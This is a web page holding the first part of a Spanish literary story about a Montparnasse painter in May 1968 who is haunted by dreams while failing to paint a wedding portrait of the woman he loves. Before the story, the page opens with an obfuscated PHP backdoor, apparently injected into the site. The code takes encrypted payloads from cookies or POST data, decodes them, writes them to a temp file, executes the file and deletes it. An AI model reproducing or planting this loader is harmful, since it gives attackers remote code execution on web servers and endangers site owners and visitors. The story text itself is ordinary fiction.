$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> El imperfecto retrato del silencio. – www.interferencechannel.com

El imperfecto retrato del silencio.

A mi madre, Mireya Escobar Patiño, transeúnte y pintora del infinito

 

Mientras la tristeza se contenta con un marco de fortuna, la melancolía precisa una orgía de espacio, un paisaje infinito para desplegar en él su gracia desagradable y vaporosa, su malestar sin contornos, que, por miedo a curar,

Teme un límite a su disolución y sus ondulaciones. Florece –la flor más extraña del amor propio- entre los venenos De los que extrae su savia y el vigor de todos sus desfallecimientos.

 

  1. M. CIORAN, Sobre la melancolía.

 

¿Qué es un cuadro? ¿Es una imagen? ¿Una creación? ¿Una prolongación del yo? ¿Un objeto aislado del resto?

Y por otra parte, ¿qué es lo que ama el pintor? ¿La encarnación de su amada que él mismo ha creado, o su amada Misma? ¿La evocación de sus propios sentimientos hacia ella, o la criatura viva y palpitante? ¿Dónde está el Cuadro? ¿Se cierne entre el artista y el observador? ¿Habrá que buscarlo en el componente material de la propia

Imagen, diferente del resto? ¿O se refugia más bien en la imaginación del autor, y sólo nos es dado contemplar

Una representación que nadie sino el propio artista puede reconocer verdaderamente?

 

DORE ASHTON, Una fábula del arte moderno, IV.

 

Caminó contra los jirones de fuego. Estos no mordieron su carne, estos lo acariciaron y lo inundaron sin calor y sin combustión. Con alivio, con humillación, con terror, comprendió que él también era una apariencia, que otro estaba soñándolo.

 

JORGE LUIS BORGES, Las ruinas circulares.

 

1.

 

La noche del dos de mayo de mil novecientos sesenta y ocho, durmiendo en la tiniebla de cierta buhardilla oscura de Montparnasse, Georges De Bourgeois, autor de retratos que imitaban en sus lienzos las pinceladas de Kokoschka, soñó, una vez más, con el retrato tantas veces borroneado de Marie Dubois, la incuestionable musa de sus desventuras. Urgido por el deber de terminar ese retrato como regalo de bodas para el matrimonio de Marie con Jean Paul (su amigo de toda la vida y el hombre que le arrebató el amor de su retratada), De Bourgeois, contando cada vez con menos tiempo a su disposición para concluir ese retrato, se vio abrumado por la falta de inspiración que le había traído el tormento de semejante encargo, permitiendo que las circunstancias de su suplicio (los rencores, el desamor, el tedio, la constante ausencia de una musa), también pasaran a formar parte de sus pesadillas. La boda, cuya proximidad también le atormentaba entre sueños, habría de llevarse cabo en los primeros días de junio, para cuando terminase de llegar el verano. Su sueño de aquella noche fue básicamente el mismo: sus imágenes se limitaban a soñarlo frente a su caballete, encerrado en su estudio mientras intentaba cumplir con la composición de esa abominable pintura. Se soñaba cada vez más atormentado, y ya sólo lograba tranquilizarse cuando incorporaba en su pintura un viejo artificio muy utilizado por ciertos maestros del pasado: a modo de metáfora, de símbolo o de cifra de su propia espiritualidad, decidió incluir frente a la imagen de Marie un ajedrez de piedra cuyas piezas, agregadas a manera de oráculo o tal vez de arquetipo, figuraban una batalla que parecía haberse entablado hacía muchos siglos. Pensó que bastaba con contemplar durante pocos segundos esa imagen así lograda, para que el espectador comprendiese que él mismo era el contrincante de Marie. Aun así, al ver a su retratada concentrada en el ajedrez, de nuevo el pintor era consumido por sus habituales accesos de incertidumbre: había algo muy en lo profundo de su retrato, pensó, que también estaba prohibiéndole la serenidad. Suponía que su angustia provenía de su incapacidad para interpolarse al reducido universo de su lienzo, todavía más que como el mero autor de esa pintura. Fue así como, en su sueño, de inmediato el pintor fraguó una treta para intercalar su presencia al interior del retrato: incluir un espejo ovalado y convexo en la pared del fondo, y en cuyo reflejo pudiera adivinarse que era el propio De Bourgeois quien en realidad estaba batiéndose con Marie. Por la imagen abstraída de ambos rostros, parecía como si ninguno de los dos estuviera interesado en continuar con la partida, posponiendo la siguiente jugada con una conversación que se sentía tan antigua, que era como si llevasen varios milenios postergando el universo con su charla. Tras unos instantes de sosiego, algo entonces sucedía: unas campanas empotradas en las altas torres del ajedrez comenzaban a repicar con tanta fuerza, que se hacía imposible continuar con la conversación: no cabía duda que las campanas estaban marcando el momento de la próxima jugada. Desesperado por el sonido que brotaba de las torres, el pintor debió reconocer que su diálogo con Marie le había hecho olvidar las leyes, los movimientos y toda posible álgebra del ajedrez. Peor aún: por completo a merced de las campanadas, no pudo discernir a quién correspondía efectuar el próximo movimiento.

Enseguida desaparecía su buhardilla: a su alrededor sólo quedaban las interminables dunas de un desierto tan vasto como el océano, y en el que, cual castillos en ruinas, las piezas del ajedrez se veían muy lejos y parcialmente devoradas por la arena. En su esfuerzo por alcanzar la sombra de aquellos edificios, el pintor, al borde del agotamiento, debió resignarse a que jamás lograría alcanzarlos; incluso resultaba probable que solo hubiera estado errando en círculos. Cada segundo que pasaba así, sin saber qué debía hacer o cómo debía conducirse para llegar hasta las piezas, sólo aumentaba el tormento de su circunstancia. Perdido en medio de esas arenas, entonces sólo existía para Georges la monotonía de sus recuerdos y el vacío de sus pensamientos. Bastaba ese solo vacío, pensó, para que el decurso de la Historia Universal se desmoronase ante el avance de aquellas sombras que no tenían más sustancia que las ansiedades con que los hombres construyen su cultura para, ¡oh dolorosa paradoja!, darle forma al aparente estado de caos y arbitrariedad que parece administrar el mundo. Y cuando en su sueño el sol estaba lo suficientemente inclinado como para que esas sombras se alargasen hasta engullir con voracidad su diminuto cuerpo de pintor, De Bourgeois se despertaba con un violento temblor de carnes y un sudor frío empapándole la piel, retornando a la monotonía de sus vigilias como quien regresa de la agreste vorágine de un holocausto o de las alucinantes metamorfosis de una borrachera. Por el ventanal de su buhardilla penetraban las primeras voces del alba; misteriosamente, los ruidos de la calle se escuchaban como si pertenecieran a una realidad ajena y distante: parecía como si la mañana estuviera surcada de rumores, de silencios y de agitaciones usurpadas a otros tiempos. Así, los intempestivos sucesos que traería ese legendario mes de mayo al año mil novecientos sesenta y ocho de París, habían traído al pintor la voz impostergable de la aurora.

Lo primero que Georges veía al momento de entregar sus ojos a las primeras impresiones de la vigilia, era la presencia de su caballete: allí estaba, invulnerable, el borroneado retrato de Marie. Enseguida paseaba sus ojos por el resto de su dormitorio, como intentando acabar de desprenderse de su pesadilla. Casi por costumbre, su mirada se posaba en el antiguo reloj de péndulo que había heredado de su abuela, cuando el joven pintor le confesó sus deseos de abandonar la facultad de ingeniería, a la que se había visto obligado por una antigua tradición familiar de la que el pintor era, claro está, sólo uno más en una larga dinastía: cansado de tener que pasar su tiempo encerrado en una academia gobernada por el algoritmo, se convenció de que debía permutar las bóvedas y los arbotantes por los lienzos y el pincel. Ese reloj, como muchas otras cosas de su buhardilla, había pertenecido a uno de sus tatarabuelos, también pintor, quien desde joven había sentido la necesidad de revelarse contra esa ancestral tradición, para, en cambio, ingresar como aprendiz en el taller afamado de Corot; con el orgullo típico de su familia aristocrática venida a menos, la abuela de Georges solía relatarle que su tatarabuelo, también alquimista especializado en la destilación de sus propios barnices, había esmaltado la luna de ese reloj con un paisaje al estilo de la escuela de Barbizón, demostrando un talento que, indiscutiblemente, también había heredado su tataranieto pintor. Pero mucho más que el paisaje de su tatarabuelo, lo que al pintor siempre le había fascinado de ese viejo artefacto era que nunca funcionaba de manera muy confiable: siempre se atrasaba varios segundos cada treinta minutos. Marie nunca se cansaba de bromear sobre cómo el mecanismo impreciso de ese vejestorio le permitía a su amigo creer que disponía de más tiempo para dedicarle a sus lienzos, mientras que la gente normal no tenía otro remedio que envejecer con el tictac de sus relojes, esforzándose por cumplir con las normas de su universo confeccionado a punto de inútiles rutinas.

Tan anacrónicos como su reloj, muchos otros enseres de su buhardilla importaban una comunión con el alma de su amiga: especial cariño le inspiraba su nutrida biblioteca de ocultismo, sobre todo porque a Marie siempre le gustó hojear esos volúmenes con una mezcla de escepticismo y curiosidad asaz cercana a la sabiduría. Pasaban horas conversando sobre cómo los sabios alquimistas de Macedonia habían mejorado con su ciencia el arte de fabricar pigmentos inventados en Egipto, o sobre cómo los cabalistas de Praga habían conseguido dar vida a un autómata hecho de barro y fiemo a través de sus especulaciones numerológicas con el nombre secreto de Dios. Junto a su colección de libros sobre las diferentes formas del esoterismo, se alzaba un estilizado perchero tallado en cedro al mejor estilo del Segundo Imperio y de cuyo gancho superior, bastante gastado por los años, colgaba una bufanda de paño irlandés que le había obsequiado Marie, justo para el día de su graduación como maestro en artes plásticas de la Escuela Superior de Artes de París, haciéndole sentir al pintor que pronto habría de manifestarse un amor que en realidad nunca se cristalizó.

Malhumorado por tener a Marie tan presente desde el momento de su despertar, Georges abandonaba torpemente su litera y se dirigía hasta la mesita redonda que se alzaba junto al caballete: sobre su tabla circular descansaba un viejo ajedrez de piedra, que era otra de las muchas antigüedades que Georges había heredado de su tatarabuelo pintor. De Bourgeois estudiaba la compleja disposición de las piezas que él mismo había puesto en juego desde hacía largo tiempo a modo de partida en solitario, como si fuera una especie de rutina concebida para atenuar su soledad, y que le había funcionado bastante bien como recurso para el desahogo, cuando se sintió a merced del hecho de no haber sabido cómo concretar el abominable retrato de Marie. Tratando de no pensar en eso, movía las piezas de su ajedrez: en cierto día en que Georges se encontraba particularmente nostálgico, movió uno de los alfiles blancos para defender su dama de uno de los caballos rojos. Una vez más, pensó entonces, su malestar con el retrato de su enamorada había acabado revelándole el movimiento más oportuno para hacer avanzar el juego con su propia sombra.

Enseguida se dirigía al rinconcito de su biblioteca donde atesoraba su querida colección de música y su amado reproductor de discos clásicos: buscaba allí una vieja grabación con sus piezas favoritas de Schumann, el gran ídolo romántico que había alentado la inquietud artística de Georges y a cuya música se entregaba cada vez que perpetraba un lienzo o acometía un dibujo. Recordaba haber hablado largamente con Marie de su amor por Schumann, de su compasión por la terrible enfermedad mental que lo aquejó y la conmoción que siempre le había provocado su fallido intento de suicidio arrojándose a las gélidas aguas del Rin. Recordaba haberle confesado que, secretamente, siempre había sospechado que su destino estaría rubricado por una agonía similar: ver sombras y espectros, sentirse perseguido por sus propias ficciones, anhelar el suicidio e incluso sentir que en algún momento su amada querría dañarle hasta incluso desaparecer, también era tópicos recurrentes en las pesadillas del pintor. Le confesó a Marie que siempre había padecido cierto temor a perder la razón, y que eso, no obstante, le ayudaba a justificar su aislada vida de ermitaño, entregado en cuerpo y alma a la confección de sus pinturas: así las imágenes fantasmagóricas de su trabajo como pintor, según decía, le conferían a su universo el suficiente sentido como para no tener que afanarse buscándolo en las diversas frivolidades y desenfrenos que comporta el mundo.

Por fin encendía su tocadiscos y colocaba en el tornamesa una vieja grabación con las canciones que Schumann compuso sobre poemas de Heine. Se sentaba junto al ventanal de su buhardilla, encendía su pipa y se resignaba a recordar un poco más su vida junto a Marie, sintiéndola remota bajo la música de Schumann. Miraba una y otra vez su caballete; no se cansaba de estudiar esos manchones: sentía que de muchas maneras ese caos de borrones comportaba el mundo; imaginaba que todo a su alrededor (el vuelo de los pájaros, el trote de una adolescente, una flor que se marchita, las columnas que cercan un mausoleo, los caballos de un carrusel, los zapatos de una anciana que camina descalza por el parque) podía funcionar como un espejo, como una imitación o, más exactamente aún, como una cifra de la realidad. Esas reflexiones lo obligaban a sentir que de alguna manera debía lograr que su retrato fuese también un atributo de esa misma realidad. Para el efecto se había armado con abundantes fotografías de su amiga que, carentes del espíritu estético de que hablaban ciertas páginas de Walter Benjamin, le habían resultado por completo inútiles: hasta el momento, todos sus intentos de elaborar ese retrato con la suficiente eficacia como para que expresase la esencia de Marie y no solamente la perfección de su rostro, habían tolerado un estrepitoso fracaso.

 Tal como solía hacerlo en otras circunstancias, al regresar de sus recuerdos se dedicaba incansablemente a barajar las posibles técnicas que quizá podrían ayudarle a consumar con éxito su pintura: planificaba el adecuado modo de centrarse en la interpretación pictórica de sus rasgos; suponía que para ello no debería omitir sus habituales pinceladas empastadas; pensaba que, ni siquiera en aras de un riguroso verismo, se atrevería a dejar de lado su pasión por las espátulas. Mejor aún: siempre terminaba pensando que seguiría siendo fiel a la imagen de su pesadilla; por eso, naturalmente, tendría que continuar recurriendo al arbitrio de un bastidor ovalado en el que, tal como ocurría en su sueño, debería bastarle para representar el cubo escénico de su retrato. Al cabo de unos instantes en silencio, el pintor siempre decidía que por nada del mundo debería dejar de utilizar los mismos juegos de luces y sombras que habían hecho famoso a Caravaggio. Tales eran siempre sus mañanas en la monotonía de su buhardilla.

Para despejar su mente y tratar de ver las cosas con un poco más de claridad, esa mañana del día tres el pintor, después de un desayuno frugal que incluía un par de panes del día anterior y algo de queso pasado con una taza de café muy negro que podía adquirir por pocos centavos en las panaderías de barrio, salió a pasear un rato por las calles de Montparnasse, acompañado de sus instrumentos de dibujo por si se tropezaba en su camino con algunas imágenes que valiera la pena registrar. Entorpecidas por las barricadas de los estudiantes, nada en esas calles, empero, pudo distraer la concentración del retratista de Marie quien, lejos de compartir el sentido de las protestas, caminaba ignorando todo lo demás: fiel a los escepticismos políticos de su familia, Georges se mantuvo ajeno a cualquier idea de responsabilidad política, viéndose siempre a sí mismo como un individuo marginal dedicado al arte y la vida contemplativa y que, por principio, siempre preferiría sus intereses estéticos y su natural tendencia a la melancolía a cualquier participación en la vida pública. Suficientes preocupaciones tenía ya tratando de buscarse el sustento diario a punto de vender sus pinturas en los túneles del metro o en los malecones del Sena, como para encima tener que preocuparse por el estado social del universo o los retruécanos de la economía; todavía menos en ese momento en que no dejaba de sentirse frustrado por su incapacidad para culminar con éxito aquel penoso encargo. Ese rostro hermoso, tantas veces seductor, de repente se había vuelto ajeno e impenetrable cuando su amada le confió, como revelación íntima entre camaradas, que iba a casarse con Jean Paul: De Bourgeois jamás se imaginó que su gran amigo de la infancia hubiera estado cortejando a Marie; ni siquiera se imaginó que ella pudiera haber estado interesada en él. Comprendió que se había comportado como un niñito desde el principio: creyendo que bastaba con el cariño inmenso que ambos se tenían para asegurarse así el amor incondicional de Marie; comprendió, peor aún, que no le había dado ninguna importancia al tiempo que se desvanecía sin que se atreviese revelar sus verdaderos sentimientos o a cortejar deliberadamente a su enamorada. En el momento de la confidencia, el pintor no pudo hacer otra cosa que fingir que recibía la noticia con alegría, haciendo un notable esfuerzo por disimular su consternación. Más doloroso todavía: la propia Marie, sin poder contener su felicidad, de inmediato le encargó a su amigo pintor la confección de su retrato para obsequiárselo como regalo de bodas a Jean Paul.

La inminente boda se hallaba cada vez más cerca. El hecho de no haber podido concretar el retrato no hacía otra cosa que hundir a Georges en la desesperación que solía arrinconarlo, con cada nueva equivocación de sus pinceladas, en el solipsismo de sus propias fantasmagorías en las que, ajeno a toda vida social, no podía dejar de verse a sí mismo como una falacia de la realidad: como una contradicción metafísica formulada por la presencia de su propia melancolía en ese incomprensible universo que lo obligaba a compartir su porvenir al lado de una mujer ajena que, no obstante, el destino le había negado hacía tiempo: Marie anhelaba viajar a Vietnam para apoyar a los maoístas, mientras que Georges, en cambio, prefería conversar con los viejos hidalgos de la ciudad en los museos de París; Marie prefería los cafés de la orilla izquierda que todavía frecuentaba Sartre, Georges la elegancia cosmopolita de los cafés aristocráticos de la Cité; Marie odiaba el infantilismo con que Borges postulaba una realidad construida a partir de soberbias irrealidades, mientras el pintor temía que su vida no fuera más que una ficción soñada por el bostezo inalterable de los ángeles; Marie quería casarse con un ingeniero náutico que le había prometido mostrarle el mundo más allá de las costas de Marsella, y el enamorado De Bourgeois sólo quería mantener la propiedad de su buhardilla y embriagarse de amor por la imagen de una mujer prohibida.

Abrumado por sus sentimientos de impotencia y sin demasiada consciencia de sus propios pasos, el pintor no notó, hasta bien entrada la tarde de aquel tres de mayo, que había estado errando en círculos por las viejas calles de Montparnasse teniendo siempre, mágicamente, el cementerio como punto central de su deambular. Y mientras caminaba, se atormentaba pensando que no era más que otro pintor mediocre con brillantes estudios formales, pero por completo incapaz de legar una imagen memorable a la fatigada Historia del Arte, como si esta manera de torturarse fuera una disciplina de la autodestrucción concebida para hacerlo olvidar sus contrariados sentimientos por Marie. Se sentó en uno de los bancos del bulevar que iba directo hasta el camposanto, mientras miraba con su habitual perplejidad el desfile de los estudiantes que marchaban pintarrajeados por las calles de París: en cierto momento se quedó como suspendido, eternizado mientras contemplaba las curiosas pinturas con que una de las manifestantes se había cubierto los senos desnudos y las piernas apenas vestidas por una minifalda. Reconoció, o por lo menos pensó, que muchas veces la auténtica inspiración podía surgir de un impremeditado acto de rebeldía. La muchacha, fingiendo no haberse dado cuenta de la mirada deseosa del pintor, se quedó contemplando a ese hombre solitario cuyo rostro le pareció incomprensiblemente familiar. Enseguida el pintor, apenado, se puso de pie sintiendo algo de frío y un poco de sueño, y luego encaminó sus pasos presurosamente hacia el cementerio.

 

Continuará. 

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